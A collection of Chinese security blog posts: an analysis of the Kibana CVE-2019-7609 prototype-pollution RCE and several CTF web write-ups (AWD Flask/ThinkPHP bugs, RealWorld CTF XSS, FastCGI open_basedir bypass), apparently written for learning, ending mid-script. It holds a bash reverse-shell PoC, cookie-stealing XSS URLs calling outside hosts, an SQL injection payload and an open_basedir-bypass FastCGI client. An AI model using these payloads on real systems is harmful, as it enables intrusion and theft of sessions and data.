      options.env = new char*[envc + 1];  // Heap allocated to detect errors.
      for (int i = 0; i < envc; i++) {
        node::Utf8Value pair(env->isolate(),
                             env_opt->Get(context, i).ToLocalChecked());
        options.env[i] = strdup(*pair);
        CHECK_NOT_NULL(options.env[i]);
      }
      options.env[envc] = nullptr;
    }
    ...

    //调用uv_spawn生成子进程,并将父进程的event_loop传递过去
    int err = uv_spawn(env->event_loop(), &wrap->process_, &options);
    //省略
  }

代码只截取了对env这个属性的操作,它将原先的envPairs进行封装。最后所有options带入uv_spawn来生成子进程,在uv_spawn中就是常规的fork()、waitpid()来控制进程的产生和资源释放,不过有一个非常重要的实现如下:

//process.cc->uv_spawn()

execvp(options->file, options->args);

execvp来执行任务,这里的options->file就是我们最初传给spawn的参数。比如我们的例子是spawn('whoami'),那么此时的file就是whoami,当然对于有参数的命令,则options->args与之对应。

总结流程

child_process创建子进程的流程看起来有些复杂,总结一下:

1、初始化子进程需要的参数,设置环境变量
2、fork()创建子进程,并用execvp执行系统命令。
3、ipc通信,输出捕捉

Kibana-RCE

漏洞分析

首先引用漏洞原作者的举例
image_1dpfrsth1180fc11uprr5j1r0713.png-74.8kB

node的官方文档中也能找到相同的用例:https://nodejs.org/api/cli.html#cli_node_options_options,node版本>v8.0.0以后支持运行node时增加一个命令行参数NODE_OPTIONS,它能够包含一个js脚本,相当于include。
image_1dpfrn6951t43bqt2prj21l9im.png-142.2kB

在node进程启动的时候作为环境变量加载,通过打印process.env也能证明

hpdoger@ChocoMacBook-Pro$ NODE_OPTIONS='--require ./evil.js' node
success!!!

> process.env.NODE_OPTIONS
'--require ./evil.js'

如果我们能改变本地环境变量,则在node创建进程的时候就可以包含恶意语句。尝试用export来实现如下。
image_1dpfsa9vei1kk2g1f5a1qchv531g.png-27.1kB

事实证明,只要产生新进程就会加载一次本地环境变量,存储形式为process.env,若env中存在NODE_OPTIONS则进行相应的加载。但是这种需要bash漏洞就是耍流氓,于是作者想到了一种方法来污染process.env,也就是上文分析的env的获取,于是有了Kibana的poc

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

node运行时会把当前进程的env写进系统的环境变量,子进程也一样,在linux中存储为/proc/self/environ。通过污染env把恶意的语句写进/proc/self/environ。同时污染process.NODE_OPTIONS属性,使node在生成新进程的时候,包含我们构造的/proc/self/environ。具体操作就类似下面的用法
image_1dpftrvc7qk59jmbjg17lk1f4b2d.png-23.8kB

污染了Object.env之后,利用Canvas生成新进程的时候会执行spawn从而RCE

利用条件

最开始我并没有跟进Kibana的源码,只是把漏洞归结于:

污染Object.env+创建子进程 => RCE

于是我做了下面的测试,发现并没有像我想象中的输出evil.js中的内容,但是NODE_OPTIONS确实被写进了子进程的env。
image_1dpfugpbejdu1cos1cra12pv11mr4p.png-102.2kB

当我将进程建立换为proc.fork()时,则成功加载了evil.js并输出
image_1dpfuioo51pov0m17et1as61ibf56.png-126.9kB

child_process.fork() 方法是 child_process.spawn() 的一个特例,专门用于衍生新的 Node.js 进程。 与 child_process.spawn() 一样返回 ChildProcess 对象。所以fork调用的是spawn来实现的子进程创建,那怎么会有这种情况?跟进一下fork看看实现有什么不同

exports.fork = function(modulePath /*, args, options*/) {
    ...//省略
    options.execPath = options.execPath || process.execPath;
    return spawn(options.execPath, args, options);
}

它处理了execPath这个属性,默认获取系统变量的process.execPath,再传入spawn,这里就是node
image_1dpfv09ba1lqiq4eglf17fmdgc63.png-62.4kB

而我们用spawn时,处理得到的file为whoami
image_1dpfvg05d1kth1o5n6adan9b8k6g.png-202.9kB

上文分析child_process在子进程创建的最底层,会调用execvp执行命令执行file

execvp(options->file, options->args);

而上面poc核心就是NODE_OPTIONS='--require /proc/self/environ' node,即bash调用了node去执行。所以此处的file值必须为node,否则无法将NODE_OPTIONS载入。而直接调用spawn函数时必须有file值,这也造成了第一种代码无法加载evil.js的情况
image_1dpg0ajvt1b051icfapj1eaupi67a.png-58.5kB

经过测试exec、execFile函数无论传入什么命令,file的值都会为/bin/sh,因为参数shell默认为true。即使不传入options选项,这两个命令也会默认定义options,这也是child_process防止命令执行的一种途径。
image_1dpg1kbn81deo1e4aeai11jebbn9.png-26kB

但是shell这个变量也是可以被污染的,不过child_process在这里做了限制,即使shell===false或字符串。最终传到execvp时也会被执行的参数替代,而不是真正的node进程。

这样看来在污染了原型的条件下,child_process只有进行了fork()的时候,才能达到漏洞的利用。不过这样的利用面确实太窄了,如果有师傅研究过其他函数的执行spawn时能启动node进程,可以交流一下思路

所以回到fork()函数,我们可以验证包含/proc/self/environ是可行的

// test.js
proc = require('child_process');
var aa = {}
aa.__proto__.env = {'AAAA':'console.log(123)//','NODE_OPTIONS':'--require /proc/self/environ'}
proc.fork('./function.js');

//function.js
console.log('this is func')

image_1dpindplj1ocv1q5o1ksf11v510o89.png-23.3kB

同时可以看到,fork在指定了modulepath的情况下,包含environ的同时并不影响modulepath中代码的执行。

相关链接

Exploiting prototype pollution – RCE in Kibana (CVE-2019-7609)
spawn、exec、execFile和fork
Kibana漏洞之javascript原型链污染

字节跳动CTF线下赛Web题解&复盘

字节跳动CTF线下赛Web题解&复盘

PythonWeb

做题小谈

之前线下赛没运维过pythonweb,踩了很多坑,小记一下。

flask在更改代码后要重启才能生效,但是如果app.DEBUG=True则不需要重启flask,这个配置多见于config.py,比赛的时候也可以全局搜索。

目录结构如下
image_1dnm2lc67dmv18gg4fn1d95fq5m.png-112.2kB

在pyweb的awd中,一定要先ps -ef看一下系统的进程,看看原始的服务是怎么启动的,我们就可以照着它的命令去重启flask,而不至于把服务启崩。这次我就是没有看进程,自己相当然的用命令flask run,结果被down了好几轮。

最后看了下手册,这里pyweb使用gunicorn来启动的:

gunicorn -b 0.0.0.0:5000  manage:app

漏洞审计

任意文件读取

@main.route('/file')
def file():
    file = request.args.get('file',base64.b64encode('/tmp/Blog_mini/app/static/images/background.jpg'))
    f = open(base64.b64decode(file),'rb')
    res = f.read()
    return jsonify({"res":res})

request.args.get()获取file参数,如果参数不存在则为base64.b64encode('/tmp/Blog_mini/app/static/images/background.jpg)

命令执行

后台有一点路由/backup,可以调用popen(),那就可以先注册用户,再去rce。同时这个点应该也可以读取任意文件

@main.route('/backup',methods = ['GET'])
@login_required
def backup():
    if request.args.get('name'):
        shell = 'tar -zcf ./'+ request.args.get('name') +'.tar.gz ./'
        res = os.popen(shell).read()
        ress = {"res":res}
        return jsonify(ress)
    else:
        return "param is name! please backup!"

image_1dnm8r3b65901pom16tg12t1c031g.png-34.8kB

模版注入

这个点我没挖到,但是后来听别的师傅说存在404的ssti

@main.app_errorhandler(404)
def page_not_found(e):
    for x in request.path:
        if x in '._%':
            return render_template('404.html'), 404
    template = '''
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist in this Blog.</h1>
        <h3>%s</h3>
    </div>
{%% endblock %%}
''' % (request.url)
    return render_template_string(template), 404

过滤了._%,下面的ssti是经典的漏洞案例。利用|过滤器和动态传参就可以bypass了,跟今年护网杯的题目思路差不多,这里盗用一下@Smile师傅的payload

image_1dnp66nft9tm243119nifpt49.png-91.2kB

流量记录

这次还是吃了没流量的亏,测试了一下别人的py流量脚本,这里贴出来

@main.before_request
def awdlog():
    import time
    f = open('/tmp/pylog.txt','a+')
    f.writelines(time.strftime('%Y-%m-%d %H:%M:%S\n', time.localtime(time.time())))
    f.writelines("{method} {url} \n".format(method=request.method,url=request.url))
    s = ''
    for d,v in dict(request.headers).items():
        s += "%s: %s\n"%(d,v)
    f.writelines(s+'\n')
    s = ''
    for d,v in dict(request.form).items():
        s += "%s=%s&"%(d,v)
    f.writelines(s.strip("&"))
    f.writelines('\n\n')
    f.close()

main指的是应用名,每次根据实际情况更改,最终在/tmp下生成日志
image_1dnn61c77p61mvu1v011ini1qtt7e.png-533.4kB

Opensns

基于TP3.2.2开发,比赛复现出两个漏洞。其中一个是内置后门就不说了,还有一个是渲染模版时的任意文件读取漏洞

漏洞复现

任意文件读取

keywords[_filename]=/flag

漏洞点在ThinkPHP/Library/Think/Storage/Driver/File.class.php的File类驱动中,同时File类继承自Storage类:class File extends Storage

image_1dnmqjgof1rfhksv1ae71engq2320.png-396.7kB

在判断了$vars是否存在后,进行了一次变量覆盖,再调用load方法进行了文件包含。追踪一下哪里调用了load方法,发现都是在解析模版的时候调用的,这里选择文件ThinkPHP/ThinkPHP/Library/Think/Template.class.php的fetch()方法

image_1dnmrrf2k138168g9gm12sfoip2t.png-245.5kB

发现可控参数$templateVar,会被当作实参传入load(),继续寻找调用fetch()方法的位置。因为TP代码中有很多实例化的方法,并不都像storage::这样的调用方式,只能全局搜索fetch看哪里调用。最终发现在ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php中实例化了Template类并且调用fetch()方法。

image_1dnms90lf1fbckc91cnr18281g1c3a.png-505.2kB

刚才说到可控参数$templateVar的原型在这里为$_data,那么$_data是否可控?继续追调用链,在这里追的时候就卡壳了,因为涉及到tp的一个知识:Thinkphp下利用钩子使用行为扩展

简单来说就在xx文件中,先宏定义了监听器对应的类名再加载进程序(这里的类指的是类似于ParseTemplateBehavior.class.php这种的行为拓展类)
image_1dnmt4sfa1c6ja0pgb4v00mft4q.png-50.2kB

而后,程序中的Hook机制通过触发不同类型的监听器,实现对应行为拓展类的实例化且会调用对应行为拓展类的run方法。一个简单的触发机制就是Hook::Listen(tags,prarm)

那么在这里我们希望它触发view_parse,从而实例化ParseTemplateBehavior。就全局搜索Hook::listen('view_parse'。在TP的视图类里找到了该监听器的hook
image_1dnmtdrpd6t6101m1omechn1n0857.png-507.6kB

接下来就好说了,只要$parama可控,并且找到一处能够调用fetch函数的地方,整条利用链就完整了。

其中$param的取值经过一系列的操作

public function assign($name, $value = '')
{
    if (is_array($name)) {
        $this->tVar = array_merge($this->tVar, $name);
    } else {
        $this->tVar[$name] = $value;
    }
}

$params = array('var' => $this->tVar, 'file' => $templateFile, 'content' => $content, 'prefix' => $prefix);

file、content、prefix为定值,只有$this->tvar可操作且被assign函数赋值。这里存在以前tp3的模版rce漏洞的挖掘链,通过assign这个模版赋值函数,赋值变量$this->tvar

同时这里还涉及Tp的一个小操作:在tp3.2中,对模版的加载&渲染依靠ThinkPHP/ThinkPHP/Library/Think/View.class.php。先通过View类方法assgin()对模版赋值,再调用display()加载模板和页面输出。在display函数的内部同时实现了fetch()函数解析并获取模板内容,也解决了上面调用fetch函数的困扰。

所以只需要找一个Controller,接受post/get传入参数,并且能够传入assign()去模版赋值,之后再经过tp的display()函数渲染模版,这里出题人在控制器里造了一个方法search,接受keywords参数

public function search()
{
    $keywords=I('post.keywords','','text');

    $modules = D('Common/Module')->getAll();
    foreach ($modules as $m) {
        if ($m['is_setup'] == 1 && $m['entry'] != '') {
            if (file_exists(APP_PATH . $m['name'] . '/Widget/SearchWidget.class.php')) {
                $mod[] = $m['name'];
            }
        }
    }
    $show_search = get_kanban_config('SEARCH', 'enable', $mod, 'Home');

    $this->assign($keywords);
    $this->assign('showBlocks', $show_search);
    $this->display();
}

构造如下poc本地包含文件,由于开启了ob_start()。
image_1dnn1fspe10st1i4rbe6nt1p6g5k.png-208.2kB

总结来说,该点漏洞就是加载模版的时候,把本地文件作为模版变量赋值,再渲染到页面。这个在平常的代码审计中也是一个不错的思路,膜出题人。

douchat

同样使用TP3.2.2开发的

漏洞浮现

代码注入

跟opensns类似的漏洞,也是模版的渲染,只不过这次存在content参数,即生成的缓存有效时,加载缓存造成代码注入。由于开启了ob_start(),因此在include的时候代码注入
image_1dnn52qdims3v3217dm1s6ph8f6h.png-535.2kB

文件上传

漏洞文件:/Public/Plugins/webuploader/server/preview.php

$src = file_get_contents('php://input');
if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {

    $previewUrl = sprintf(
        "%s://%s%s",
        isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
        $_SERVER['HTTP_HOST'],
        $_SERVER['REQUEST_URI']
    );
    $previewUrl = str_replace("preview.php", "", $previewUrl);


    $base64 = $matches[2];
    $type = $matches[1];
    if ($type === 'jpeg') {
        $type = 'jpg';
    }

    $filename = md5($base64).".$type";
    $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

    if (file_exists($filePath)) {
        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
    } else {
        $data = base64_decode($base64);
        file_put_contents($filePath, $data);
        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
    }

} else {
    die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
}

$src可控,通过伪协议控制生成的文件名,然后写入到preview/下并回显出来

RealWorld CTF2019 两道XSS-Web题解

RealWorld CTF2019 两道XSS-Web题解

原文首发于安全客:https://www.anquanke.com/post/id/186707

Mission Invisible

题目上来把代码全部给出来了,一段js并且告诉我们有两个隐藏的点

<script>
    var getUrlParam = function (name) {
        var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
        var r = unescape(window.location.search.substr(1)).match(reg);
        if (r != null) return r[2];
        return null;
    }

    function setCookie(name, value) {
        var Days = 30;
        var exp = new Date();
        exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 30);
        document.cookie = name + "=" + value + ";expires=" + exp.toGMTString();
    }

    function getCookie(name) {
        var search = name + "="
        var offset = document.cookie.indexOf(search)
        if (offset != -1) {
            offset += search.length;
            var end = document.cookie.indexOf(";", offset);
            if (end == -1) {
                end = document.cookie.length;
            }
            return unescape(document.cookie.substring(offset, end));
        }
        else return "";
    }

    function setElement(tag) {
        tag = tag.substring(0, 1);
        var ele = document.createElement(tag)
        var attrs = getCookie("attrs").split("&");
        for (var i = 0; i < attrs.length; i++) {
            var key = attrs[i].split("=")[0];
            var value = attrs[i].split("=")[1];
            ele.setAttribute(key, value);
        }
        document.body.appendChild(ele);
    }

    var tag = getUrlParam("tag");
    setCookie("tag", tag);
    setElement(tag);

</script>

重点在这个setElement函数,通过tag.substring(0, 1)创建一个dom事件,然后从cookie种取出attrs属性进行标签属性的赋值。接下来追一下cookie是怎么入库的

var tag = getUrlParam("tag");
setCookie("tag", tag);

追到函数不难发现是tag传参进去的,并且在getcookie函数中只截取了”attrs=”的后面的值,那么我们就可以在value里插入attrs的值。

image_1dksu3lma1sdcaodk0j19g11tn213.png-115.9kB

所以现在的难点就在于怎么构造一个标签,在浏览器解析的时候自动触发XSS。由于tag = tag.substring(0, 1);这段代码,使得我们现在能用的标签只有a、p。

最初我的想法是污染原型链,在循环遍历attrs的时候:

第一次key = __proto__.ele  & value = document.createElement(“script”)

第二次 key = src  & value = evil.com

但是尝试了一下发现这样并不能够成功污染,因为我们已经定义了ele这个变量。那只能从a、p标签下手,这里@LFY师傅想到一个很好的方法

image_1dksuhiqvuci17tssl8o111eh720.png-97.5kB

<p onfocus="alert(document.cookie)" id="1" tabindex="0"></p>

我们可以通过tableindex使标签可聚焦,只需要在url后面跟一个锚点指向标签id,类似于#1,这样聚焦时触发onfocus,效果就等效于自动触发xss。

http://52.52.236.217:16401/?tag=a%3d1attrs%3donmouserover%3d1%2526onfocus%3dalert(1)%2526id%3d1%2526tabindex%3d0#1

image_1dksundi8iu3lrfhnnpkunra2d.png-249.6kB

接着就是常规打cookie到本地

http://52.52.236.217:16401/?tag=a=attrs=onmouseover=1%2526onfocus=eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,49,51,57,46,49,57,57,46,50,48,51,46,50,53,51,58,49,50,51,52,47,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))%2526id=1%2526tabindex=0#1

Hcorme

题目说明

首先题目有一个callback的接口,能够把请求参数输出,并且是text/html形式。这点其实在日常的web应用种并不多见,大多数callback的mime都是javascript

image_1dkseq56a1q3f111911ftas01les9.png-111.3kB

于此同时题目有两个难点需要bypass:

  • XSS Auditor的限制
    image_1dksf8oneelujp2n651k3a1qbu13.png-183.7kB
  • CSP的限制
    Content-Security-Policy: default-src 'self'; object-src 'none'; base-uri 'none';

解题思路

先着眼xss auditor这个点,在Chrome78以后XSS-Auditor被Chrome自家砍掉了,虽然auditor曾是不少xsser在面对反射性XSS时候的难题,但随着bypass的方法也日益增多,auditor的弊远远大于利:因为auditor在触发的时候会删除恶意输入,之前我博客中有一篇文章前端全局变量劫持,就能够利用Auditor达到变量劫持的目的。

于此同时Bypass auditor也算是出题人给我们的Hint。

当时我的思路是用字符集去bypass,也就是下面这种思路
image_1dksffho3ttit161ctftckbo61g.png-62.5kB

因为auditor的核心思路就是拿浏览器的渲染和我们的输入做比较,不相符则不会被Check。不过chrome77已经不存在iso-2022-jp这种绕过的方法。接下来我们看一下Hardold师傅的思路–>utf-16编码绕过

这里串一个编码的知识点,通常我们看到%xx%xx这类的url编码,其实是用16进制表示的,比如utf-8编码形式如下

>>> from urllib.parse import quote,unquote
>>> print(quote(('猪').encode('utf-8')))
>>> %E7%8C%AA

那么”猪”这个字在utf-8编码下就是0xe7 0x8c 0xaa,下面我们来看一下utf-16编码下的”猪”怎么表示

>>> from urllib.parse import quote,unquote
>>> print(quote(('猪').encode('utf-16')))
>>> %FF%FE%2As

这时会发现,用utf-16无论编码什么字符,前两个字节都是``0xff0xfe`
image_1dksl9ssig0pv2l1f171qr31c5q1t.png-98.4kB

因为在UTF-16文件的开首,都会放置一个U+FEFF字符作为Byte Order Mark(UTF-16LE以FF FE代表,UTF-16BE以FE FF代表),以显示这个文本文件是以UTF-16编码,它是个没有宽度也没有断字的空白。

此时我们来尝试一下能否Bypass XSS Auditor

>>> print(quote(('<script>alert(1)</script>').encode('utf-16')))

%FF%FE%3C%00s%00c%00r%00i%00p%00t%00%3E%00a%00l%00e%00r%00t%00%28%001%00%29%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00

image_1dksm95e81qka1ts9meii2m1cd92q.png-227.5kB

成功插入标签,接下来到了第二步,Bypass CSP。因为锁了default-src又没有给unsafe-inline,但是题目有一个jsonp的点,不难想到今年的那道ins’hack 2019/的bypasses-everywhere

这篇文章的大意相当于利用jsonp直接把js代码”挂载”到本地的script标签里面,从而导致的bypass。那么我们编写一个demo看看

>>> print(quote(('<script/src=?callback=alert(1)></script>').encode('utf-16')))

%FF%FE%3C%00s%00c%00r%00i%00p%00t%00/%00s%00r%00c%00%3D%00%3F%00c%00a%00l%00l%00b%00a%00c%00k%00%3D%00a%00l%00e%00r%00t%00%28%001%00%29%00%3E%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00

可以看到进行了两次资源请求,第二次的资源的执行类型是script
image_1dkssc09a13h01mnh8561rft1g0u9.png-154.8kB

接着就是把flag打到自己的本地就行了

>>> print(quote(("<script/src=?callback=window.location='http://xxx/?'%2bdocument.cookie%0a//></script>").encode('utf-16')))

%FF%FE%3C%00s%00c%00r%00i%00p%00t%00/%00s%00r%00c%00%3D%00%3F%00c%00a%00l%00l%00b%00a%00c%00k%00%3D%00w%00i%00n%00d%00o%00w%00.%00l%00o%00c%00a%00t%00i%00o%00n%00%3D%00%27%00h%00t%00t%00p%00%3A%00/%00/%00x%00x%00x%00/%00%3F%00%27%00%25%002%00b%00d%00o%00c%00u%00m%00e%00n%00t%00.%00c%00o%00o%00k%00i%00e%00%25%000%00a%00/%00/%00%3E%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00

比赛总结

赛题质量真心高,膜Harlold师傅,日常拿0day打比赛..orz

从一道CTF学习Fastcgi绕过姿势

从一道CTF学习Fastcgi绕过姿势

原文首发于安全客:https://www.anquanke.com/post/id/186186

周末做了一个字节跳动的CTF比赛,其中blog这道题涉及到了disable_functions和open_basedir的限制。在0CTF中出现了类似的考法,给了命令执行点去Bypass Disable_functions&Open_basedir,以前没有做过相关的题,这次记录一下思路和用到的脚本。

关于0CTF的题解,参考飘零师傅:深入浅出LD_PRELOAD & putenv()

前情提要

当然这题不像0ctf上来就给了你命令执行点,要挖掘一下。简单记一下wp,这部分不细讲。首先是给了全部的源码,在replace.php页面有一个重要功能

image_1dkak4ebeg8a1e23145e1sbk1pgi3j.png-429.4kB

题目的PHP环境是5.3.3所以preg_replace函数是存在一个代码执行的,正好参数又是可控,$replace部分将会被当作php代码执行。

只不过需要先从库里执行这样一句话:$sql->query("select isvip from users where id=" . $_SESSION['id'] . ";")取校验是否isvip==1,默认注册的所有用户isvip==0。

通过某种方式改变自己的isvip字段,看了下config.php出题人还上了一个waf,直接注入基本不可能。但是它没有过滤SET这个关键词,而且PDO在php5.3以后是支持多条查询的,这给我们堆叠注入创造了机会。
image_1dkakdh2q164i1hfok7m12koug44g.png-440.4kB

edit.php有一个很典型的二次注入,太长时间没接触一时没看出来。虽然$title在第一次入库时是经过了addslashes,但是在mysql存储的时候并不会加入\,导致edit.php页面引入之前存储的title字段产生成二次注入。
image_1dkakhsvmfcsqck1pkabm5dgj4t.png-405.6kB

直接贴payload,注入语句用16进制代替在@SQL中了,这种绕过思路在强网杯的题目上也有用到。也可以用concat()+16进制单字符绕。

hpdoger';SET @SQL=0x555044415445207573657273205345542069737669703d3120574845524520757365726e616d653d276870646f67657227;PREPARE pord FROM @SQL;EXECUTE pord;# 

0x555044415445207573657273205345542069737669703d3120574845524520757365726e616d653d276870646f67657227
=>
UPDATE users SET isvip=1 WHERE username='hpdoger'

isvip==1就能代码执行了,phpinfo()看了一下,有disable_funcions和open_basedir的限制,而且过滤跟0CTF那道题很相似,但是没有安装Imagick拓展
image_1dkakvbks1m3dlh01vaarvb17l85n.png-266.2kB

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail

什么是FastCGI和FPM

举个例子,如果我们请求index.php,根据配置文件,Web Server知道这个不是静态文件,需要去找 PHP 解析器来处理,那么他会把这个请求简单处理,然后交给PHP解析器。Web Server 一般指Apache、Nginx、IIS、Lighttpd、Tomcat等服务器
image_1dkah71fj1l9u4mu2gfsd2q6d9.png-61.5kB

CGI&FastCGI

CGI(Common Gateway Interface)全称是“通用网关接口”,WEB 服务器与PHP应用进行“交谈”的一种工具。WEB服务器会传哪些数据给PHP解析器呢?URL、查询字符串、POST数据、HTTP header都会有。所以,CGI就是规定要传哪些数据,以什么样的格式传递给后方处理这个请求的协议。

FastCGI是用来提高CGI程序性能的。类似于CGI,FastCGI也可以说是一种协议。简单来说就是CGI的优化:对于CGI来说,每一个Web请求PHP都必须重新解析php.ini、重新载入全部扩展,并重新初始化全部数据结构。而使用FastCGI,所有这些都只在进程启动时发生一次。还有一个额外的好处是,持续数据库连接(Persistent database connection)可以工作。

FastCGI的工作原理如下:
image_1dkahc1jogup1l5v1dlr9qe1c1n26.png-88.7kB

1、Web Server启动时载入FastCGI进程管理器(Apache Module或IIS ISAPI等)

2、FastCGI进程管理器自身初始化,启动多个CGI解释器进程(可建多个php-cgi),并等待来自Web Server的连接。

3、当客户端请求到达Web Server时,FastCGI进程管理器选择并连接到一个CGI解释器。Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。

4、FastCGI子进程完成处理后,将标准输出和错误信息从同一连接返回Web Server。当FastCGI子进程关闭连接时,请求便告处理完成。FastCGI子进程接着等待,并处理来自FastCGI进程管理器(运行在Web Server中)的下一个连接。 在CGI模式中,php-cgi在此便退出了。

PHP-FPM

FPM(php-fastcgi program manager)顾名思义,这是一个PHP专用的 fastcgi 管理器。也就是说,PHP-FPM 是对于 FastCGI 协议的具体实现,他负责管理一个进程池,来处理来自Web服务器的请求。目前,PHP5.3版本之后,PHP-FPM是内置于PHP的。因为PHP-CGI只是个CGI程序,他自己本身只能解析请求,返回结果,不会进程管理。所以就出现了一些能够调度 php-cgi 进程的程序,比如说由lighthttpd分离出来的spawn-fcgi。同样,PHP-FPM也是用于调度管理PHP解析器php-cgi的管理程序。

open_basedir的绕过

前提是我们能够执行一段php程序来伪造FastCGI.php

在PHP中:

  • 可以通过在FastCGI协议修改PHP_VALUE字段进而修改php.ini中的一些设置,而open_basedir 同样可以通过此种方法进行设置。比如:$php_value = "open_basedir = /";

  • 因为FPM没有判断请求的来源是否必须来自Webserver。根据PHP解析器的流程,我们可以伪造FastCGI向FPM发起请求,PHP_VALUE相当于改变.ini中的设置,覆盖了本身的open_basedir

FastCGI脚本

<?php
class TimedOutException extends \Exception {
}
class ForbiddenException extends \Exception {
}
class Client {
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
const REQ_STATE_WRITTEN = 1;
const REQ_STATE_OK = 2;
const REQ_STATE_ERR = 3;
const REQ_STATE_TIMED_OUT = 4;
private $_sock = null;
private $_host = null;
private $_port = null;
private $_keepAlive = false;
private $_requests = array();
private $_persistentSocket = false;
private $_connectTimeout = 5000;
private $_readWriteTimeout = 5000;
public function __construct( $host, $port ) {
    $this->_host = $host;
    $this->_port = $port;
}
public function setKeepAlive( $b ) {
          $this->_keepAlive = (boolean) $b;
          if ( ! $this->_keepAlive && $this->_sock ) {
              fclose( $this->_sock );
    }
}
public function getKeepAlive() {
    return $this->_keepAlive;
}
public function setPersistentSocket( $b ) {
          $was_persistent          = ( $this->_sock && $this->_persistentSocket );
          $this->_persistentSocket = (boolean) $b;
          if ( ! $this->_persistentSocket && $was_persistent ) {
              fclose( $this->_sock );
    }
}
public function getPersistentSocket() {
    return $this->_persistentSocket;
}
public function setConnectTimeout( $timeoutMs ) {
          $this->_connectTimeout = $timeoutMs;
}
public function getConnectTimeout() {
    return $this->_connectTimeout;
}
public function setReadWriteTimeout( $timeoutMs ) {
          $this->_readWriteTimeout = $timeoutMs;
          $this->set_ms_timeout( $this->_readWriteTimeout );
}
public function getReadWriteTimeout() {
    return $this->_readWriteTimeout;
}
private function set_ms_timeout( $timeoutMs ) {
          if ( ! $this->_sock ) {
        return false;
    }
    return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) * 1000 );
}
private function connect() {
    if ( ! $this->_sock ) {
              if ( $this->_persistentSocket ) {
                  $this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
              } else {
                  $this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
              }
              if ( ! $this->_sock ) {
                  throw new \Exception( 'Unable to connect to FastCGI application: ' . $errstr );
              }
              if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) {
            throw new \Exception( 'Unable to set timeout on socket' );
        }
    }
}
private function buildPacket( $type, $content, $requestId = 1 ) {
          $clen = strlen( $content );
    return chr( self::VERSION_1 )         /* version */
           . chr( $type )                    /* type */
                 . chr( ( $requestId >> 8 ) & 0xFF ) /* requestIdB1 */
           . chr( $requestId & 0xFF )        /* requestIdB0 */
                 . chr( ( $clen >> 8 ) & 0xFF )     /* contentLengthB1 */
           . chr( $clen & 0xFF )             /* contentLengthB0 */
                 . chr( 0 )                        /* paddingLength */
                 . chr( 0 )                        /* reserved */
                 . $content;                     /* content */
}
private function buildNvpair( $name, $value ) {
    $nlen = strlen( $name );
    $vlen = strlen( $value );
    if ( $nlen < 128 ) {
              /* nameLengthB0 */
              $nvpair = chr( $nlen );
          } else {
              /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
              $nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF );
          }
          if ( $vlen < 128 ) {
        /* valueLengthB0 */
        $nvpair .= chr( $vlen );
    } else {
        /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
        $nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF );
    }
    /* nameData & valueData */
    return $nvpair . $name . $value;
}
private function readNvpair( $data, $length = null ) {
    $array = array();
          if ( $length === null ) {
        $length = strlen( $data );
    }
    $p = 0;
          while ( $p != $length ) {
              $nlen = ord( $data{$p ++} );
              if ( $nlen >= 128 ) {
                  $nlen = ( $nlen & 0x7F << 24 );
                  $nlen |= ( ord( $data{$p ++} ) << 16 );
                  $nlen |= ( ord( $data{$p ++} ) << 8 );
                  $nlen |= ( ord( $data{$p ++} ) );
              }
              $vlen = ord( $data{$p ++} );
              if ( $vlen >= 128 ) {
                  $vlen = ( $nlen & 0x7F << 24 );
